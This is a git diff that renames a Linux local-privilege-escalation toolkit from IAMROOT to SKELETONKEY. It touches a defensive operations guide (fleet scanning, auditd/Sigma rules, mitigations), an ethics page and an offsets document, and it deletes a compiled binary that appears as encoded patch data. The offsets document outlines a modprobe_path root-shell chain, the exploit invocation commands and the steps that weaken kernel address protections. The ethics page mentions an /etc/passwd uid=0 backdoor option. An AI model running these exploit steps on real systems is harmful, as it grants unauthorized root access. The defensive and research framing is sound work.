daily ops" guide. @@ -8,15 +8,15 @@ make it part of your daily ops" guide. ``` ┌─────────────┐ - │ inventory │ ← iamroot --list (what's bundled?) + │ inventory │ ← skeletonkey --list (what's bundled?) └──────┬──────┘ ▼ ┌─────────────┐ - │ scan │ ← iamroot --scan --json (what am I vulnerable to?) + │ scan │ ← skeletonkey --scan --json (what am I vulnerable to?) └──────┬──────┘ ▼ ┌─────────────┐ - │ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt + │ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt └──────┬──────┘ ▼ ┌────────────┼────────────┐ @@ -29,7 +29,7 @@ make it part of your daily ops" guide. └────────────┼────────────┘ ▼ ┌─────────────┐ - │ monitor │ ← ausearch -k iamroot-* / SIEM alerts + │ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts └─────────────┘ ``` @@ -39,17 +39,17 @@ make it part of your daily ops" guide. ```bash # Daily/weekly hygiene check -sudo iamroot --scan +sudo skeletonkey --scan # If anything's VULNERABLE, deploy detections + apply mitigation -sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules +sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules sudo augenrules --load -sudo iamroot --mitigate copy_fail # or whichever module fired +sudo skeletonkey --mitigate copy_fail # or whichever module fired ``` ### Small fleet (~10-100 hosts, SSH-reachable) -Use `tools/iamroot-fleet-scan.sh`: +Use `tools/skeletonkey-fleet-scan.sh`: ```bash # Hosts list — one per line; user@host:port supported @@ -61,8 +61,8 @@ ops@db-01:2222 EOF # Scan; binary scp'd, run, cleaned up. Output is one JSON doc. -./iamroot-fleet-scan.sh \ - --binary ./iamroot \ +./skeletonkey-fleet-scan.sh \ + --binary ./skeletonkey \ --ssh-key ~/.ssh/ops_key \ --parallel 8 \ hosts.txt > fleet-scan-$(date +%F).json @@ -95,7 +95,7 @@ Output shape: ### Larger fleet (>100 hosts) -`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For +`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For fleets too large for SSH-fan-out, wrap it in your config-management tool of choice: @@ -108,22 +108,22 @@ tool of choice: Sample Ansible task: ```yaml -- name: scan with iamroot +- name: scan with skeletonkey copy: - src: iamroot - dest: /tmp/iamroot + src: skeletonkey + dest: /tmp/skeletonkey mode: '0755' - name: run --scan --json - command: /tmp/iamroot --scan --json --no-color + command: /tmp/skeletonkey --scan --json --no-color register: scan changed_when: false - failed_when: false # iamroot exit codes are semantic, not errors + failed_when: false # skeletonkey exit codes are semantic, not errors - name: collect set_fact: - iamroot_scan: "{{ scan.stdout | from_json }}" + skeletonkey_scan: "{{ scan.stdout | from_json }}" - name: cleanup file: - path: /tmp/iamroot + path: /tmp/skeletonkey state: absent ``` @@ -133,46 +133,46 @@ Sample Ansible task: ``` # splunk input config (inputs.conf) -[script:///opt/iamroot/iamroot-cron-scan.sh] +[script:///opt/skeletonkey/skeletonkey-cron-scan.sh] interval = 86400 -source = iamroot -sourcetype = iamroot:scan +source = skeletonkey +sourcetype = skeletonkey:scan ``` -`iamroot-cron-scan.sh`: +`skeletonkey-cron-scan.sh`: ```bash #!/bin/bash -/usr/local/bin/iamroot --scan --json --no-color +/usr/local/bin/skeletonkey --scan --json --no-color ``` Search the indexed events: ```spl -index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE +index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE | stats count by host modules{}.cve ``` ### Elastic / OpenSearch Filebeat module reading the per-host scan JSON files (one per day), -indexed into an `iamroot-*` index pattern. Standard Kibana +indexed into an `skeletonkey-*` index pattern. Standard Kibana visualization on `modules.cve` over time tracks vulnerability lifecycle. ### Sigma → your platform ```bash # Ship Sigma rules into your platform -iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml +skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml # Convert to your target (Sentinel, Elastic, etc.) via sigmac -sigmac -t elastic /etc/sigma/iamroot.yml +sigmac -t elastic /etc/sigma/skeletonkey.yml ``` ## Day-to-day operational shape ### What "good" looks like in the SIEM -- Daily `iamroot --scan --json` from every host indexed +- Daily `skeletonkey --scan --json` from every host indexed - Trend dashboard: count of VULNERABLE results by CVE over time - Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for patched-mainline bugs, 24h for actively-exploited) @@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml ### Auditd events from the embedded rules -After deploying `iamroot --detect-rules --format=auditd`: +After deploying `skeletonkey --detect-rules --format=auditd`: ```bash # By module key -sudo ausearch -k iamroot-copy-fail -ts today -sudo ausearch -k iamroot-dirty-pipe -ts today -sudo ausearch -k iamroot-pwnkit -ts today -sudo ausearch -k iamroot-nf-tables-userns -ts today -sudo ausearch -k iamroot-overlayfs -ts today +sudo ausearch -k skeletonkey-copy-fail -ts today +sudo ausearch -k skeletonkey-dirty-pipe -ts today +sudo ausearch -k skeletonkey-pwnkit -ts today +sudo ausearch -k skeletonkey-nf-tables-userns -ts today +sudo ausearch -k skeletonkey-overlayfs -ts today -# Anything iamroot-tagged in the last hour -sudo ausearch -k 'iamroot-*' -ts recent +# Anything skeletonkey-tagged in the last hour +sudo ausearch -k 'skeletonkey-*' -ts recent # Forward to syslog (rsyslog example) -# /etc/rsyslog.d/iamroot.conf: -:msg, contains, "iamroot-" @@your-siem.example.com:514 +# /etc/rsyslog.d/skeletonkey.conf: +:msg, contains, "skeletonkey-" @@your-siem.example.com:514 ``` ### When a VULNERABLE result fires @@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X │ ├── Q: Can I patch the underlying kernel / package? │ ├── YES → schedule patch window. In the meantime: -│ │ iamroot --mitigate X (if supported) +│ │ skeletonkey --mitigate X (if supported) │ │ Verify auditd rule for X is loaded. │ │ Monitor for the rule key. │ └── NO (legacy LTS, embedded device, prod freeze) → -│ iamroot --mitigate X (essential) +│ skeletonkey --mitigate X (essential) │ Compensating control: tighten LSM (SELinux/AppArmor) │ Document in risk register │ @@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel patch has rolled out fleet-wide): ```bash -sudo iamroot --cleanup copy_fail +sudo skeletonkey --cleanup copy_fail # OR manually: sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf @@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf | Rule key | False positive | Fix | |---|---|---| -| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs | -| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts | -| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign | -| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs | -| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` | +| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs | +| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts | +| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign | +| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs | +| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` | ## Pre-patch quarantine pattern @@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately: ```bash # Stage 1: detect -sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")' +sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")' # Stage 2: mitigate (where supported) -sudo iamroot --mitigate +sudo skeletonkey --mitigate # Stage 3: monitor — auditd rules already deployed -sudo ausearch -k 'iamroot-*' -ts today | grep +sudo ausearch -k 'skeletonkey-*' -ts today | grep # Stage 4: contain — temporarily restrict the trigger surface # e.g., for nf_tables CVE-2024-1086: @@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1 ## Maintenance contract -When IAMROOT ships a new module: +When SKELETONKEY ships a new module: 1. CI test passes on at least one vulnerable + patched kernel pair 2. Detection rules ship alongside (auditd + sigma minimum) @@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable. ## When you find a new false positive -File an issue at https://github.com/KaraZajac/IAMROOT/issues with: +File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with: - The exact ausearch line that fired - The legitimate process that produced it - Distro / kernel version diff --git a/docs/ETHICS.md b/docs/ETHICS.md index bef00a0..bc86ec5 100644 --- a/docs/ETHICS.md +++ b/docs/ETHICS.md @@ -2,24 +2,24 @@ ## Acceptable use -IAMROOT is intended for: +SKELETONKEY is intended for: 1. **Authorized red-team / pentest engagements.** You have a written scope, signed by someone who can authorize testing on the target systems. 2. **Defensive teams testing detection coverage.** You're using - IAMROOT in a lab to verify your auditd/sigma/falco rules fire as + SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as expected. 3. **Security researchers studying historical LPEs.** You're reading the code, running it in your own VMs, learning how the primitives actually work end-to-end. 4. **Build engineers verifying patch coverage.** You're running - `iamroot --scan` against your fleet's golden images to confirm + `skeletonkey --scan` against your fleet's golden images to confirm each known CVE shows up as patched. ## Not-acceptable use -IAMROOT should not be used: +SKELETONKEY should not be used: 1. On systems you do not own and have not been authorized to test 2. As part of unauthorized access to any system @@ -28,18 +28,18 @@ IAMROOT should not be used: 4. To build a worm, scanner, or any tool that automatically targets systems at scale without per-target authorization -By using IAMROOT you assert that your use falls into the +By using SKELETONKEY you assert that your use falls into the acceptable-use cases above. ## Why this is publishable -Every CVE bundled in IAMROOT is: +Every CVE bundled in SKELETONKEY is: - **Already patched** in upstream mainline kernel - **Already published** in NVD or distro security trackers - **Already covered** by existing public PoCs -IAMROOT does not introduce new offensive capability. It bundles, +SKELETONKEY does not introduce new offensive capability. It bundles, documents, and CI-tests what is already public — and ships the detection signatures defenders need to spot it. @@ -51,25 +51,25 @@ real defensive value through the detection-rule exports. ## Disclosure -If you find a bug in IAMROOT itself (incorrect detection, broken +If you find a bug in SKELETONKEY itself (incorrect detection, broken exploit on a kernel where it should work, missing a backport in the range metadata): file a public GitHub issue. If you find a **new 0-day kernel LPE while inspired by reading -IAMROOT code**: please disclose it responsibly to the kernel +SKELETONKEY code**: please disclose it responsibly to the kernel security team (`security@kernel.org`) and the affected distros *before* writing a public PoC. Once upstream patch ships and a CVE -is assigned, IAMROOT will gladly accept the module. +is assigned, SKELETONKEY will gladly accept the module. ## Persistence and stealth are out of scope `--exploit-backdoor` in the copy_fail module overwrites a `/etc/passwd` line with a `uid=0` shell account. This is **overt**: -- The username is `iamroot` (was `dirtyfail`) — instantly identifiable -- It's covered by the auditd rules IAMROOT ships +- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable +- It's covered by the auditd rules SKELETONKEY ships - `--cleanup-backdoor` restores the original line If you're looking for evasion, persistence, or stealth: not here. -Use a real C2 framework if you have authorization to do so. IAMROOT +Use a real C2 framework if you have authorization to do so. SKELETONKEY stops at "demonstrate that the bug works." diff --git a/docs/OFFSETS.md b/docs/OFFSETS.md index a773df4..7c0df1f 100644 --- a/docs/OFFSETS.md +++ b/docs/OFFSETS.md @@ -1,20 +1,20 @@ -# IAMROOT — kernel offset resolution +# SKELETONKEY — kernel offset resolution The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB write, slab UAF, etc.). The default `--exploit` returns -`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed +`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed bar means we don't claim root unless we empirically have it. `--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which converts the primitive to a real root pop via `modprobe_path` overwrite: ``` -attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-.sh") - → execve("/tmp/iamroot-trig-") # unknown-format binary +attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-.sh") + → execve("/tmp/skeletonkey-trig-") # unknown-format binary → kernel call_modprobe() # spawns modprobe_path as init - → /tmp/iamroot-mp-.sh runs as root - → cp /bin/bash /tmp/iamroot-pwn-; chmod 4755 /tmp/iamroot-pwn- - → caller exec /tmp/iamroot-pwn- -p + → /tmp/skeletonkey-mp-.sh runs as root + → cp /bin/bash /tmp/skeletonkey-pwn-; chmod 4755 /tmp/skeletonkey-pwn- + → caller exec /tmp/skeletonkey-pwn- -p → root shell ``` @@ -27,14 +27,14 @@ address) at runtime. non-zero value for each field: 1. **Environment variables** — operator override. - - `IAMROOT_KBASE=0x...` - - `IAMROOT_MODPROBE_PATH=0x...` - - `IAMROOT_POWEROFF_CMD=0x...` - - `IAMROOT_INIT_TASK=0x...` - - `IAMROOT_INIT_CRED=0x...` - - `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`) - - `IAMROOT_CRED_OFFSET_EFF=0x...` - - `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4) + - `SKELETONKEY_KBASE=0x...` + - `SKELETONKEY_MODPROBE_PATH=0x...` + - `SKELETONKEY_POWEROFF_CMD=0x...` + - `SKELETONKEY_INIT_TASK=0x...` + - `SKELETONKEY_INIT_CRED=0x...` + - `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`) + - `SKELETONKEY_CRED_OFFSET_EFF=0x...` + - `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4) 2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0` OR you're already root. On modern distros (kptr_restrict=1 by @@ -60,18 +60,18 @@ non-zero value for each field: sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms # Use the addresses inline: -IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \ - iamroot --exploit nf_tables --i-know --full-chain +SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \ + skeletonkey --exploit nf_tables --i-know --full-chain ``` ### Automated dump (preferred for upstreaming) -`iamroot --dump-offsets` walks the four-source chain itself and emits +`skeletonkey --dump-offsets` walks the four-source chain itself and emits a ready-to-paste C struct entry on stdout: ```bash -sudo iamroot --dump-offsets -# /* Generated 2026-05-16 by `iamroot --dump-offsets`. +sudo skeletonkey --dump-offsets +# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`. # * Host kernel: 5.15.0-56-generic distro=ubuntu # * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table # * Paste this entry into kernel_table[] in core/offsets.c. @@ -88,21 +88,21 @@ sudo iamroot --dump-offsets ``` Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild, -and the new entry covers every IAMROOT user on that kernel. Open a +and the new entry covers every SKELETONKEY user on that kernel. Open a PR to upstream it. ### Per-host (write System.map readable) ```bash sudo chmod 0644 /boot/System.map-$(uname -r) -iamroot --exploit nf_tables --i-know --full-chain +skeletonkey --exploit nf_tables --i-know --full-chain ``` ### Per-boot (lower kptr_restrict) ```bash sudo sysctl kernel.kptr_restrict=0 -iamroot --exploit nf_tables --i-know --full-chain +skeletonkey --exploit nf_tables --i-know --full-chain ``` Note: each of these requires root *once*. For a true non-root LPE on @@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the ## Verifying success -The shared finisher (`iamroot_finisher_modprobe_path()`) drops a -sentinel file at `/tmp/iamroot-pwn-` after `modprobe` runs our +The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a +sentinel file at `/tmp/skeletonkey-pwn-` after `modprobe` runs our payload. The finisher polls for this file with `S_ISUID` mode set for up to 3 seconds. Only when the sentinel materializes does the -module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec +module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec the setuid bash to drop a root shell. -If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL` +If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL` with a diagnostic. Reasons it might fail even with offsets resolved: - The arb-write didn't actually land (slab adjacency lost, value-pointer diff --git a/iamroot b/iamroot deleted file mode 100755 index bb95bc8efee52368863862a03594a30756e8a3cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 141584 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 